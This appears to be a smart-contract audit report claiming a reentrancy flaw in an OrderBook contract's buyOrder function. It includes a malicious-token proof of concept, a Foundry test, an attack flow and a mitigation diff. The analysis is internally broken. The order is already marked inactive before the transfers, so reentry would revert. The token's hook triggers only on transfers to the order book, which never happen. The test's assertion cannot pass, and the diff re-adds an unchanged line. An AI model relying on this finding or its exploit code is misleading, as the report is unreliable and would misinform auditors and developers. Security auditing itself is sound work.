Reentrancy Vulnerability in buyOrder Function
Description
The buyOrder function allows users to purchase sell orders by transferring USDC to the seller and receiving the listed tokens. The function performs token transfers before updating the contract state, specifically the totalFees variable, which violates the Checks-Effects-Interactions (CEI) pattern.
The function transfers tokens to/from the contract before updating the totalFees state, allowing malicious tokens with callback mechanisms to reenter the function and manipulate the fee accounting.
function buyOrder(uint256 _orderId) public {
Order storage order = orders[_orderId];
if (order.seller == address(0)) revert OrderNotFound();
if (!order.isActive) revert OrderNotActive();
if (block.timestamp >= order.deadlineTimestamp) revert OrderExpired();
order.isActive = false;
uint256 protocolFee = (order.priceInUSDC * FEE) / PRECISION;
uint256 sellerReceives = order.priceInUSDC - protocolFee;
iUSDC.safeTransferFrom(msg.sender, address(this), protocolFee);
iUSDC.safeTransferFrom(msg.sender, order.seller, sellerReceives);
IERC20(order.tokenToSell).safeTransfer(msg.sender, order.amountToSell);
totalFees += protocolFee;
emit OrderFilled(_orderId, msg.sender, order.seller);
}
Risk
Likelihood:
-
Low - Any token with callback mechanisms (ERC-777, custom tokens with hooks) can trigger reentrancy when whitelisted via setAllowedSellToken, if Owner is hacked
-
Medium - The function is publicly accessible and can be called by any user to fill orders
Impact:
-
Double-counting of protocol fees through reentrancy attacks
-
Manipulation of fee accounting leading to incorrect totalFees tracking
-
Potential loss of protocol revenue through fee extraction exploits
Proof of Concept
This PoC demonstrates how a malicious token can exploit the reentrancy vulnerability in buyOrder. The malicious token implements callback mechanisms that trigger when tokens are transferred, allowing it to reenter the function before totalFees is updated. This can lead to double-counting of fees and manipulation of the protocol's revenue tracking.
contract MaliciousToken {
OrderBook public orderBook;
bool public reentered = false;
uint256 public orderId;
constructor(address _orderBook) {
orderBook = OrderBook(_orderBook);
}
function transfer(address to, uint256 amount) external returns (bool) {
if (!reentered && to == address(orderBook)) {
reentered = true;
orderBook.buyOrder(orderId);
}
return true;
}
function setOrderId(uint256 _orderId) external {
orderId = _orderId;
}
}
function test_buyOrder_reentrancy() public {
MaliciousToken maliciousToken = new MaliciousToken(address(book));
vm.prank(owner);
book.setAllowedSellToken(address(maliciousToken), true);
vm.startPrank(alice);
uint256 orderId = book.createSellOrder(address(maliciousToken), 1000, 200000, 1 days);
maliciousToken.setOrderId(orderId);
vm.stopPrank();
uint256 initialFees = book.totalFees();
vm.startPrank(bob);
usdc.approve(address(book), 200000);
book.buyOrder(orderId);
vm.stopPrank();
uint256 finalFees = book.totalFees();
uint256 expectedFees = initialFees + (200000 * 3 / 100);
require(finalFees > expectedFees, "Fees should be double-counted due to reentrancy");
}
Attack Flow:
Attacker deploys malicious token with callback mechanisms
Owner whitelists the malicious token via setAllowedSellToken
Attacker creates a sell order with the malicious token
When buyOrder is called, the malicious token's callback triggers during safeTransfer
Callback reenters buyOrder before totalFees is updated
This causes totalFees to be incremented multiple times for the same transaction
Recommended Mitigation
The fix follows the Checks-Effects-Interactions (CEI) pattern by updating the state before performing external calls. This prevents reentrancy attacks and ensures accurate fee accounting. The key changes are:
Move state updates before transfers - Update totalFees and order state first
Use nonReentrant modifier - Add additional protection against reentrancy
Validate token contracts - Improve setAllowedSellToken to validate ERC20 compliance
function buyOrder(uint256 _orderId) public {
Order storage order = orders[_orderId];
// Validation checks
if (order.seller == address(0)) revert OrderNotFound();
if (!order.isActive) revert OrderNotActive();
if (block.timestamp >= order.deadlineTimestamp) revert OrderExpired();
- order.isActive = false;
- uint256 protocolFee = (order.priceInUSDC * FEE) / PRECISION;
- uint256 sellerReceives = order.priceInUSDC - protocolFee;
-
- iUSDC.safeTransferFrom(msg.sender, address(this), protocolFee);
- iUSDC.safeTransferFrom(msg.sender, order.seller, sellerReceives);
- IERC20(order.tokenToSell).safeTransfer(msg.sender, order.amountToSell);
- totalFees += protocolFee;
+ // Update state FIRST (Effects) - This prevents reentrancy
+ order.isActive = false;
+ uint256 protocolFee = (order.priceInUSDC * FEE) / PRECISION;
+ uint256 sellerReceives = order.priceInUSDC - protocolFee;
+ totalFees += protocolFee;
+
+ // Then perform transfers (Interactions) - External calls after state updates
+ iUSDC.safeTransferFrom(msg.sender, address(this), protocolFee);
+ iUSDC.safeTransferFrom(msg.sender, order.seller, sellerReceives);
+ IERC20(order.tokenToSell).safeTransfer(msg.sender, order.amountToSell);
emit OrderFilled(_orderId, msg.sender, order.seller);
}
+ // Additional protection: Add nonReentrant modifier
+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
+
+ contract OrderBook is ReentrancyGuard {
+ function buyOrder(uint256 _orderId) public nonReentrant {
+ // ... implementation
+ }
+ }
Additional Recommendations:
Improve token validation in setAllowedSellToken to check for callback mechanisms
Add comprehensive testing for reentrancy scenarios with malicious tokens
Consider using pull-over-push pattern for token transfers
Implement emergency pause functionality for critical functions
Add fee tracking events to monitor for unusual fee accumulation patterns
